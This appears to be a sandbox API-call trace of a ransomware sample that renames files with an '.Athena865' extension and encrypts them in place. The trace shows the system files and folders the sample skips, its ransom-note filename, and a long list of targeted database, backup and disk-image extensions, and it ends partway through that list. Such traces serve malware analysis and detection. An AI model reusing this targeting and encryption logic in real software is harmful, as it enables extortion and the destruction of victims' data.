[0065.239] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="bootmgr") returned -1 [0065.239] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="temp") returned -1 [0065.239] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="pagefile.sys") returned -1 [0065.239] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="boot") returned -1 [0065.239] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="ids.txt") returned -1 [0065.239] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="ntuser.dat") returned -1 [0065.239] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="perflogs") returned -1 [0065.239] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="MSBuild") returned -1 [0065.239] lstrlenW (lpString="Black Tie.thmx") returned 14 [0065.239] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Black Tie.thmx" | out: lpString1="Black Tie.thmx") returned="Black Tie.thmx" [0065.239] lstrlenW (lpString="Black Tie.thmx") returned 14 [0065.239] lstrlenW (lpString="Athena865") returned 9 [0065.239] lstrcmpiW (lpString1=" Tie.thmx", lpString2="Athena865") returned -1 [0065.240] lstrlenW (lpString=".dll") returned 4 [0065.240] lstrcmpiW (lpString1="Black Tie.thmx", lpString2=".dll") returned 1 [0065.240] lstrlenW (lpString=".lnk") returned 4 [0065.240] lstrcmpiW (lpString1="Black Tie.thmx", lpString2=".lnk") returned 1 [0065.240] lstrlenW (lpString=".ini") returned 4 [0065.240] lstrcmpiW (lpString1="Black Tie.thmx", lpString2=".ini") returned 1 [0065.240] lstrlenW (lpString=".sys") returned 4 [0065.240] lstrcmpiW (lpString1="Black Tie.thmx", lpString2=".sys") returned 1 [0065.240] lstrlenW (lpString="Black Tie.thmx") returned 14 [0065.240] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx.Athena865") returned 77 [0065.240] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx.athena865"), dwFlags=0x1) returned 1 [0065.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.241] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=655107) returned 1 [0065.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.242] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.242] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.242] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.243] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa0210, lpName=0x0) returned 0x17c [0065.244] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa0210) returned 0x2d50000 [0065.274] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.274] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.274] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.275] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.275] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.275] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.275] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.275] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.275] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0065.281] CloseHandle (hObject=0x17c) returned 1 [0065.281] CloseHandle (hObject=0x154) returned 1 [0065.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.284] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccef00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4ccef00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x18c11, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Civic.thmx", cAlternateFileName="CIVIC~1.THM")) returned 1 [0065.284] lstrcmpiW (lpString1="Civic.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.284] lstrcmpiW (lpString1="Civic.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.284] lstrcmpiW (lpString1="Civic.thmx", lpString2=".") returned 1 [0065.284] lstrcmpiW (lpString1="Civic.thmx", lpString2="..") returned 1 [0065.284] lstrcmpiW (lpString1="Civic.thmx", lpString2="windows") returned -1 [0065.284] lstrcmpiW (lpString1="Civic.thmx", lpString2="bootmgr") returned 1 [0065.284] lstrcmpiW (lpString1="Civic.thmx", lpString2="temp") returned -1 [0065.284] lstrcmpiW (lpString1="Civic.thmx", lpString2="pagefile.sys") returned -1 [0065.284] lstrcmpiW (lpString1="Civic.thmx", lpString2="boot") returned 1 [0065.284] lstrcmpiW (lpString1="Civic.thmx", lpString2="ids.txt") returned -1 [0065.284] lstrcmpiW (lpString1="Civic.thmx", lpString2="ntuser.dat") returned -1 [0065.284] lstrcmpiW (lpString1="Civic.thmx", lpString2="perflogs") returned -1 [0065.284] lstrcmpiW (lpString1="Civic.thmx", lpString2="MSBuild") returned -1 [0065.284] lstrlenW (lpString="Civic.thmx") returned 10 [0065.284] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Civic.thmx" | out: lpString1="Civic.thmx") returned="Civic.thmx" [0065.284] lstrlenW (lpString="Civic.thmx") returned 10 [0065.284] lstrlenW (lpString="Athena865") returned 9 [0065.284] lstrcmpiW (lpString1="ivic.thmx", lpString2="Athena865") returned 1 [0065.284] lstrlenW (lpString=".dll") returned 4 [0065.284] lstrcmpiW (lpString1="Civic.thmx", lpString2=".dll") returned 1 [0065.284] lstrlenW (lpString=".lnk") returned 4 [0065.284] lstrcmpiW (lpString1="Civic.thmx", lpString2=".lnk") returned 1 [0065.285] lstrlenW (lpString=".ini") returned 4 [0065.285] lstrcmpiW (lpString1="Civic.thmx", lpString2=".ini") returned 1 [0065.285] lstrlenW (lpString=".sys") returned 4 [0065.285] lstrcmpiW (lpString1="Civic.thmx", lpString2=".sys") returned 1 [0065.285] lstrlenW (lpString="Civic.thmx") returned 10 [0065.285] lstrlenW (lpString="bak") returned 3 [0065.285] lstrcmpiW (lpString1="hmx", lpString2="bak") returned 1 [0065.285] lstrlenW (lpString="ba_") returned 3 [0065.285] lstrcmpiW (lpString1="hmx", lpString2="ba_") returned 1 [0065.285] lstrlenW (lpString="dbb") returned 3 [0065.285] lstrcmpiW (lpString1="hmx", lpString2="dbb") returned 1 [0065.285] lstrlenW (lpString="vmdk") returned 4 [0065.285] lstrcmpiW (lpString1="thmx", lpString2="vmdk") returned -1 [0065.285] lstrlenW (lpString="rar") returned 3 [0065.285] lstrcmpiW (lpString1="hmx", lpString2="rar") returned -1 [0065.285] lstrlenW (lpString="zip") returned 3 [0065.285] lstrcmpiW (lpString1="hmx", lpString2="zip") returned -1 [0065.285] lstrlenW (lpString="tgz") returned 3 [0065.285] lstrcmpiW (lpString1="hmx", lpString2="tgz") returned -1 [0065.285] lstrlenW (lpString="vbox") returned 4 [0065.285] lstrcmpiW (lpString1="thmx", lpString2="vbox") returned -1 [0065.285] lstrlenW (lpString="vdi") returned 3 [0065.285] lstrcmpiW (lpString1="hmx", lpString2="vdi") returned -1 [0065.285] lstrlenW (lpString="vhd") returned 3 [0065.285] lstrcmpiW (lpString1="hmx", lpString2="vhd") returned -1 [0065.285] lstrlenW (lpString="vhdx") returned 4 [0065.285] lstrcmpiW (lpString1="thmx", lpString2="vhdx") returned -1 [0065.285] lstrlenW (lpString="avhd") returned 4 [0065.285] lstrcmpiW (lpString1="thmx", lpString2="avhd") returned 1 [0065.285] lstrlenW (lpString="db") returned 2 [0065.285] lstrcmpiW (lpString1="mx", lpString2="db") returned 1 [0065.285] lstrlenW (lpString="db2") returned 3 [0065.285] lstrcmpiW (lpString1="hmx", lpString2="db2") returned 1 [0065.286] lstrlenW (lpString="db3") returned 3 [0065.286] lstrcmpiW (lpString1="hmx", lpString2="db3") returned 1 [0065.286] lstrlenW (lpString="dbf") returned 3 [0065.286] lstrcmpiW (lpString1="hmx", lpString2="dbf") returned 1 [0065.286] lstrlenW (lpString="mdf") returned 3 [0065.286] lstrcmpiW (lpString1="hmx", lpString2="mdf") returned -1 [0065.286] lstrlenW (lpString="mdb") returned 3 [0065.286] lstrcmpiW (lpString1="hmx", lpString2="mdb") returned -1 [0065.286] lstrlenW (lpString="sql") returned 3 [0065.286] lstrcmpiW (lpString1="hmx", lpString2="sql") returned -1 [0065.286] lstrlenW (lpString="sqlite") returned 6 [0065.286] lstrcmpiW (lpString1="c.thmx", lpString2="sqlite") returned -1 [0065.286] lstrlenW (lpString="sqlite3") returned 7 [0065.286] lstrcmpiW (lpString1="ic.thmx", lpString2="sqlite3") returned -1 [0065.286] lstrlenW (lpString="sqlitedb") returned 8 [0065.286] lstrcmpiW (lpString1="vic.thmx", lpString2="sqlitedb") returned 1 [0065.286] lstrlenW (lpString="xml") returned 3 [0065.286] lstrcmpiW (lpString1="hmx", lpString2="xml") returned -1 [0065.286] lstrlenW (lpString="$er") returned 3 [0065.286] lstrcmpiW (lpString1="hmx", lpString2="$er") returned 1 [0065.286] lstrlenW (lpString="4dd") returned 3 [0065.286] lstrcmpiW (lpString1="hmx", lpString2="4dd") returned 1 [0065.286] lstrlenW (lpString="4dl") returned 3 [0065.286] lstrcmpiW (lpString1="hmx", lpString2="4dl") returned 1 [0065.286] lstrlenW (lpString="^^^") returned 3 [0065.286] lstrcmpiW (lpString1="hmx", lpString2="^^^") returned 1 [0065.286] lstrlenW (lpString="abs") returned 3 [0065.286] lstrcmpiW (lpString1="hmx", lpString2="abs") returned 1 [0065.286] lstrlenW (lpString="abx") returned 3 [0065.286] lstrcmpiW (lpString1="hmx", lpString2="abx") returned 1 [0065.286] lstrlenW (lpString="accdb") returned 5 [0065.286] lstrcmpiW (lpString1=".thmx", lpString2="accdb") returned -1 [0065.286] lstrlenW (lpString="accdc") returned 5 [0065.287] lstrcmpiW (lpString1=".thmx", lpString2="accdc") returned -1 [0065.287] lstrlenW (lpString="accde") returned 5 [0065.287] lstrcmpiW (lpString1=".thmx", lpString2="accde") returned -1 [0065.287] lstrlenW (lpString="accdr") returned 5 [0065.287] lstrcmpiW (lpString1=".thmx", lpString2="accdr") returned -1 [0065.287] lstrlenW (lpString="accdt") returned 5 [0065.287] lstrcmpiW (lpString1=".thmx", lpString2="accdt") returned -1 [0065.287] lstrlenW (lpString="accdw") returned 5 [0065.287] lstrcmpiW (lpString1=".thmx", lpString2="accdw") returned -1 [0065.287] lstrlenW (lpString="accft") returned 5 [0065.287] lstrcmpiW (lpString1=".thmx", lpString2="accft") returned -1 [0065.287] lstrlenW (lpString="adb") returned 3 [0065.287] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.287] lstrlenW (lpString="adb") returned 3 [0065.287] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.287] lstrlenW (lpString="ade") returned 3 [0065.287] lstrcmpiW (lpString1="hmx", lpString2="ade") returned 1 [0065.287] lstrlenW (lpString="adf") returned 3 [0065.287] lstrcmpiW (lpString1="hmx", lpString2="adf") returned 1 [0065.287] lstrlenW (lpString="adn") returned 3 [0065.287] lstrcmpiW (lpString1="hmx", lpString2="adn") returned 1 [0065.287] lstrlenW (lpString="adp") returned 3 [0065.287] lstrcmpiW (lpString1="hmx", lpString2="adp") returned 1 [0065.287] lstrlenW (lpString="alf") returned 3 [0065.287] lstrcmpiW (lpString1="hmx", lpString2="alf") returned 1 [0065.287] lstrlenW (lpString="ask") returned 3 [0065.287] lstrcmpiW (lpString1="hmx", lpString2="ask") returned 1 [0065.287] lstrlenW (lpString="btr") returned 3 [0065.287] lstrcmpiW (lpString1="hmx", lpString2="btr") returned 1 [0065.287] lstrlenW (lpString="cat") returned 3 [0065.287] lstrcmpiW (lpString1="hmx", lpString2="cat") returned 1 [0065.287] lstrlenW (lpString="cdb") returned 3 [0065.288] lstrcmpiW (lpString1="hmx", lpString2="cdb") returned 1 [0065.288] lstrlenW (lpString="ckp") returned 3 [0065.288] lstrcmpiW (lpString1="hmx", lpString2="ckp") returned 1 [0065.288] lstrlenW (lpString="cma") returned 3 [0065.288] lstrcmpiW (lpString1="hmx", lpString2="cma") returned 1 [0065.288] lstrlenW (lpString="cpd") returned 3 [0065.288] lstrcmpiW (lpString1="hmx", lpString2="cpd") returned 1 [0065.288] lstrlenW (lpString="dacpac") returned 6 [0065.288] lstrcmpiW (lpString1="c.thmx", lpString2="dacpac") returned -1 [0065.288] lstrlenW (lpString="dad") returned 3 [0065.288] lstrcmpiW (lpString1="hmx", lpString2="dad") returned 1 [0065.288] lstrlenW (lpString="dadiagrams") returned 10 [0065.288] lstrlenW (lpString="daschema") returned 8 [0065.288] lstrcmpiW (lpString1="vic.thmx", lpString2="daschema") returned 1 [0065.288] lstrlenW (lpString="db-journal") returned 10 [0065.288] lstrlenW (lpString="db-shm") returned 6 [0065.288] lstrcmpiW (lpString1="c.thmx", lpString2="db-shm") returned -1 [0065.288] lstrlenW (lpString="db-wal") returned 6 [0065.288] lstrcmpiW (lpString1="c.thmx", lpString2="db-wal") returned -1 [0065.288] lstrlenW (lpString="dbc") returned 3 [0065.288] lstrcmpiW (lpString1="hmx", lpString2="dbc") returned 1 [0065.288] lstrlenW (lpString="dbs") returned 3 [0065.288] lstrcmpiW (lpString1="hmx", lpString2="dbs") returned 1 [0065.288] lstrlenW (lpString="dbt") returned 3 [0065.288] lstrcmpiW (lpString1="hmx", lpString2="dbt") returned 1 [0065.288] lstrlenW (lpString="dbv") returned 3 [0065.288] lstrcmpiW (lpString1="hmx", lpString2="dbv") returned 1 [0065.288] lstrlenW (lpString="dbx") returned 3 [0065.288] lstrcmpiW (lpString1="hmx", lpString2="dbx") returned 1 [0065.288] lstrlenW (lpString="dcb") returned 3 [0065.288] lstrcmpiW (lpString1="hmx", lpString2="dcb") returned 1 [0065.288] lstrlenW (lpString="dct") returned 3 [0065.289] lstrcmpiW (lpString1="hmx", lpString2="dct") returned 1 [0065.289] lstrlenW (lpString="dcx") returned 3 [0065.289] lstrcmpiW (lpString1="hmx", lpString2="dcx") returned 1 [0065.289] lstrlenW (lpString="ddl") returned 3 [0065.289] lstrcmpiW (lpString1="hmx", lpString2="ddl") returned 1 [0065.289] lstrlenW (lpString="dlis") returned 4 [0065.289] lstrcmpiW (lpString1="thmx", lpString2="dlis") returned 1 [0065.289] lstrlenW (lpString="dp1") returned 3 [0065.289] lstrcmpiW (lpString1="hmx", lpString2="dp1") returned 1 [0065.289] lstrlenW (lpString="dqy") returned 3 [0065.289] lstrcmpiW (lpString1="hmx", lpString2="dqy") returned 1 [0065.289] lstrlenW (lpString="dsk") returned 3 [0065.289] lstrcmpiW (lpString1="hmx", lpString2="dsk") returned 1 [0065.289] lstrlenW (lpString="dsn") returned 3 [0065.289] lstrcmpiW (lpString1="hmx", lpString2="dsn") returned 1 [0065.289] lstrlenW (lpString="dtsx") returned 4 [0065.289] lstrcmpiW (lpString1="thmx", lpString2="dtsx") returned 1 [0065.289] lstrlenW (lpString="dxl") returned 3 [0065.289] lstrcmpiW (lpString1="hmx", lpString2="dxl") returned 1 [0065.289] lstrlenW (lpString="eco") returned 3 [0065.289] lstrcmpiW (lpString1="hmx", lpString2="eco") returned 1 [0065.289] lstrlenW (lpString="ecx") returned 3 [0065.289] lstrcmpiW (lpString1="hmx", lpString2="ecx") returned 1 [0065.289] lstrlenW (lpString="edb") returned 3 [0065.289] lstrcmpiW (lpString1="hmx", lpString2="edb") returned 1 [0065.289] lstrlenW (lpString="epim") returned 4 [0065.289] lstrcmpiW (lpString1="thmx", lpString2="epim") returned 1 [0065.289] lstrlenW (lpString="fcd") returned 3 [0065.289] lstrcmpiW (lpString1="hmx", lpString2="fcd") returned 1 [0065.289] lstrlenW (lpString="fdb") returned 3 [0065.289] lstrcmpiW (lpString1="hmx", lpString2="fdb") returned 1 [0065.289] lstrlenW (lpString="fic") returned 3 [0065.289] lstrcmpiW (lpString1="hmx", lpString2="fic") returned 1 [0065.290] lstrlenW (lpString="flexolibrary") returned 12 [0065.290] lstrlenW (lpString="fm5") returned 3 [0065.290] lstrcmpiW (lpString1="hmx", lpString2="fm5") returned 1 [0065.290] lstrlenW (lpString="fmp") returned 3 [0065.290] lstrcmpiW (lpString1="hmx", lpString2="fmp") returned 1 [0065.290] lstrlenW (lpString="fmp12") returned 5 [0065.290] lstrcmpiW (lpString1=".thmx", lpString2="fmp12") returned -1 [0065.290] lstrlenW (lpString="fmpsl") returned 5 [0065.290] lstrcmpiW (lpString1=".thmx", lpString2="fmpsl") returned -1 [0065.290] lstrlenW (lpString="fol") returned 3 [0065.290] lstrcmpiW (lpString1="hmx", lpString2="fol") returned 1 [0065.290] lstrlenW (lpString="fp3") returned 3 [0065.290] lstrcmpiW (lpString1="hmx", lpString2="fp3") returned 1 [0065.290] lstrlenW (lpString="fp4") returned 3 [0065.290] lstrcmpiW (lpString1="hmx", lpString2="fp4") returned 1 [0065.290] lstrlenW (lpString="fp5") returned 3 [0065.290] lstrcmpiW (lpString1="hmx", lpString2="fp5") returned 1 [0065.290] lstrlenW (lpString="fp7") returned 3 [0065.290] lstrcmpiW (lpString1="hmx", lpString2="fp7") returned 1 [0065.290] lstrlenW (lpString="fpt") returned 3 [0065.290] lstrcmpiW (lpString1="hmx", lpString2="fpt") returned 1 [0065.290] lstrlenW (lpString="frm") returned 3 [0065.290] lstrcmpiW (lpString1="hmx", lpString2="frm") returned 1 [0065.290] lstrlenW (lpString="gdb") returned 3 [0065.290] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.290] lstrlenW (lpString="gdb") returned 3 [0065.290] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.290] lstrlenW (lpString="grdb") returned 4 [0065.290] lstrcmpiW (lpString1="thmx", lpString2="grdb") returned 1 [0065.290] lstrlenW (lpString="gwi") returned 3 [0065.290] lstrcmpiW (lpString1="hmx", lpString2="gwi") returned 1 [0065.290] lstrlenW (lpString="hdb") returned 3 [0065.290] lstrcmpiW (lpString1="hmx", lpString2="hdb") returned 1 [0065.291] lstrlenW (lpString="his") returned 3 [0065.291] lstrcmpiW (lpString1="hmx", lpString2="his") returned 1 [0065.291] lstrlenW (lpString="ib") returned 2 [0065.291] lstrcmpiW (lpString1="mx", lpString2="ib") returned 1 [0065.291] lstrlenW (lpString="idb") returned 3 [0065.291] lstrcmpiW (lpString1="hmx", lpString2="idb") returned -1 [0065.291] lstrlenW (lpString="ihx") returned 3 [0065.291] lstrcmpiW (lpString1="hmx", lpString2="ihx") returned -1 [0065.291] lstrlenW (lpString="itdb") returned 4 [0065.291] lstrcmpiW (lpString1="thmx", lpString2="itdb") returned 1 [0065.291] lstrlenW (lpString="itw") returned 3 [0065.291] lstrcmpiW (lpString1="hmx", lpString2="itw") returned -1 [0065.291] lstrlenW (lpString="jet") returned 3 [0065.291] lstrcmpiW (lpString1="hmx", lpString2="jet") returned -1 [0065.291] lstrlenW (lpString="jtx") returned 3 [0065.291] lstrcmpiW (lpString1="hmx", lpString2="jtx") returned -1 [0065.291] lstrlenW (lpString="kdb") returned 3 [0065.291] lstrcmpiW (lpString1="hmx", lpString2="kdb") returned -1 [0065.291] lstrlenW (lpString="kexi") returned 4 [0065.291] lstrcmpiW (lpString1="thmx", lpString2="kexi") returned 1 [0065.291] lstrlenW (lpString="kexic") returned 5 [0065.291] lstrcmpiW (lpString1=".thmx", lpString2="kexic") returned -1 [0065.291] lstrlenW (lpString="kexis") returned 5 [0065.291] lstrcmpiW (lpString1=".thmx", lpString2="kexis") returned -1 [0065.291] lstrlenW (lpString="lgc") returned 3 [0065.291] lstrcmpiW (lpString1="hmx", lpString2="lgc") returned -1 [0065.291] lstrlenW (lpString="lwx") returned 3 [0065.291] lstrcmpiW (lpString1="hmx", lpString2="lwx") returned -1 [0065.291] lstrlenW (lpString="maf") returned 3 [0065.291] lstrcmpiW (lpString1="hmx", lpString2="maf") returned -1 [0065.291] lstrlenW (lpString="maq") returned 3 [0065.291] lstrcmpiW (lpString1="hmx", lpString2="maq") returned -1 [0065.292] lstrlenW (lpString="mar") returned 3 [0065.292] lstrcmpiW (lpString1="hmx", lpString2="mar") returned -1 [0065.292] lstrlenW (lpString="marshal") returned 7 [0065.292] lstrcmpiW (lpString1="ic.thmx", lpString2="marshal") returned -1 [0065.292] lstrlenW (lpString="mas") returned 3 [0065.292] lstrcmpiW (lpString1="hmx", lpString2="mas") returned -1 [0065.292] lstrlenW (lpString="mav") returned 3 [0065.292] lstrcmpiW (lpString1="hmx", lpString2="mav") returned -1 [0065.292] lstrlenW (lpString="maw") returned 3 [0065.292] lstrcmpiW (lpString1="hmx", lpString2="maw") returned -1 [0065.292] lstrlenW (lpString="mdbhtml") returned 7 [0065.292] lstrcmpiW (lpString1="ic.thmx", lpString2="mdbhtml") returned -1 [0065.292] lstrlenW (lpString="mdn") returned 3 [0065.292] lstrcmpiW (lpString1="hmx", lpString2="mdn") returned -1 [0065.292] lstrlenW (lpString="mdt") returned 3 [0065.292] lstrcmpiW (lpString1="hmx", lpString2="mdt") returned -1 [0065.292] lstrlenW (lpString="mfd") returned 3 [0065.292] lstrcmpiW (lpString1="hmx", lpString2="mfd") returned -1 [0065.292] lstrlenW (lpString="mpd") returned 3 [0065.292] lstrcmpiW (lpString1="hmx", lpString2="mpd") returned -1 [0065.292] lstrlenW (lpString="mrg") returned 3 [0065.292] lstrcmpiW (lpString1="hmx", lpString2="mrg") returned -1 [0065.292] lstrlenW (lpString="mud") returned 3 [0065.292] lstrcmpiW (lpString1="hmx", lpString2="mud") returned -1 [0065.292] lstrlenW (lpString="mwb") returned 3 [0065.292] lstrcmpiW (lpString1="hmx", lpString2="mwb") returned -1 [0065.292] lstrlenW (lpString="myd") returned 3 [0065.292] lstrcmpiW (lpString1="hmx", lpString2="myd") returned -1 [0065.292] lstrlenW (lpString="ndf") returned 3 [0065.292] lstrcmpiW (lpString1="hmx", lpString2="ndf") returned -1 [0065.292] lstrlenW (lpString="nnt") returned 3 [0065.292] lstrcmpiW (lpString1="hmx", lpString2="nnt") returned -1 [0065.292] lstrlenW (lpString="nrmlib") returned 6 [0065.293] lstrcmpiW (lpString1="c.thmx", lpString2="nrmlib") returned -1 [0065.293] lstrlenW (lpString="ns2") returned 3 [0065.293] lstrcmpiW (lpString1="hmx", lpString2="ns2") returned -1 [0065.293] lstrlenW (lpString="ns3") returned 3 [0065.293] lstrcmpiW (lpString1="hmx", lpString2="ns3") returned -1 [0065.293] lstrlenW (lpString="ns4") returned 3 [0065.293] lstrcmpiW (lpString1="hmx", lpString2="ns4") returned -1 [0065.293] lstrlenW (lpString="nsf") returned 3 [0065.293] lstrcmpiW (lpString1="hmx", lpString2="nsf") returned -1 [0065.293] lstrlenW (lpString="nv") returned 2 [0065.293] lstrcmpiW (lpString1="mx", lpString2="nv") returned -1 [0065.293] lstrlenW (lpString="nv2") returned 3 [0065.293] lstrcmpiW (lpString1="hmx", lpString2="nv2") returned -1 [0065.293] lstrlenW (lpString="nwdb") returned 4 [0065.293] lstrcmpiW (lpString1="thmx", lpString2="nwdb") returned 1 [0065.293] lstrlenW (lpString="nyf") returned 3 [0065.293] lstrcmpiW (lpString1="hmx", lpString2="nyf") returned -1 [0065.293] lstrlenW (lpString="odb") returned 3 [0065.293] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.293] lstrlenW (lpString="odb") returned 3 [0065.293] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.293] lstrlenW (lpString="oqy") returned 3 [0065.293] lstrcmpiW (lpString1="hmx", lpString2="oqy") returned -1 [0065.293] lstrlenW (lpString="ora") returned 3 [0065.293] lstrcmpiW (lpString1="hmx", lpString2="ora") returned -1 [0065.293] lstrlenW (lpString="orx") returned 3 [0065.293] lstrcmpiW (lpString1="hmx", lpString2="orx") returned -1 [0065.293] lstrlenW (lpString="owc") returned 3 [0065.293] lstrcmpiW (lpString1="hmx", lpString2="owc") returned -1 [0065.293] lstrlenW (lpString="p96") returned 3 [0065.293] lstrcmpiW (lpString1="hmx", lpString2="p96") returned -1 [0065.293] lstrlenW (lpString="p97") returned 3 [0065.293] lstrcmpiW (lpString1="hmx", lpString2="p97") returned -1 [0065.293] lstrlenW (lpString="pan") returned 3 [0065.294] lstrcmpiW (lpString1="hmx", lpString2="pan") returned -1 [0065.294] lstrlenW (lpString="pdb") returned 3 [0065.294] lstrcmpiW (lpString1="hmx", lpString2="pdb") returned -1 [0065.294] lstrlenW (lpString="pdm") returned 3 [0065.294] lstrcmpiW (lpString1="hmx", lpString2="pdm") returned -1 [0065.294] lstrlenW (lpString="pnz") returned 3 [0065.294] lstrcmpiW (lpString1="hmx", lpString2="pnz") returned -1 [0065.294] lstrlenW (lpString="qry") returned 3 [0065.294] lstrcmpiW (lpString1="hmx", lpString2="qry") returned -1 [0065.294] lstrlenW (lpString="qvd") returned 3 [0065.294] lstrcmpiW (lpString1="hmx", lpString2="qvd") returned -1 [0065.294] lstrlenW (lpString="rbf") returned 3 [0065.294] lstrcmpiW (lpString1="hmx", lpString2="rbf") returned -1 [0065.294] lstrlenW (lpString="rctd") returned 4 [0065.294] lstrcmpiW (lpString1="thmx", lpString2="rctd") returned 1 [0065.294] lstrlenW (lpString="rod") returned 3 [0065.294] lstrcmpiW (lpString1="hmx", lpString2="rod") returned -1 [0065.294] lstrlenW (lpString="rodx") returned 4 [0065.294] lstrcmpiW (lpString1="thmx", lpString2="rodx") returned 1 [0065.294] lstrlenW (lpString="rpd") returned 3 [0065.294] lstrcmpiW (lpString1="hmx", lpString2="rpd") returned -1 [0065.294] lstrlenW (lpString="rsd") returned 3 [0065.294] lstrcmpiW (lpString1="hmx", lpString2="rsd") returned -1 [0065.294] lstrlenW (lpString="sas7bdat") returned 8 [0065.294] lstrcmpiW (lpString1="vic.thmx", lpString2="sas7bdat") returned 1 [0065.294] lstrlenW (lpString="sbf") returned 3 [0065.294] lstrcmpiW (lpString1="hmx", lpString2="sbf") returned -1 [0065.294] lstrlenW (lpString="scx") returned 3 [0065.294] lstrcmpiW (lpString1="hmx", lpString2="scx") returned -1 [0065.294] lstrlenW (lpString="sdb") returned 3 [0065.294] lstrcmpiW (lpString1="hmx", lpString2="sdb") returned -1 [0065.294] lstrlenW (lpString="sdc") returned 3 [0065.294] lstrcmpiW (lpString1="hmx", lpString2="sdc") returned -1 [0065.295] lstrlenW (lpString="sdf") returned 3 [0065.295] lstrcmpiW (lpString1="hmx", lpString2="sdf") returned -1 [0065.295] lstrlenW (lpString="sis") returned 3 [0065.295] lstrcmpiW (lpString1="hmx", lpString2="sis") returned -1 [0065.295] lstrlenW (lpString="spq") returned 3 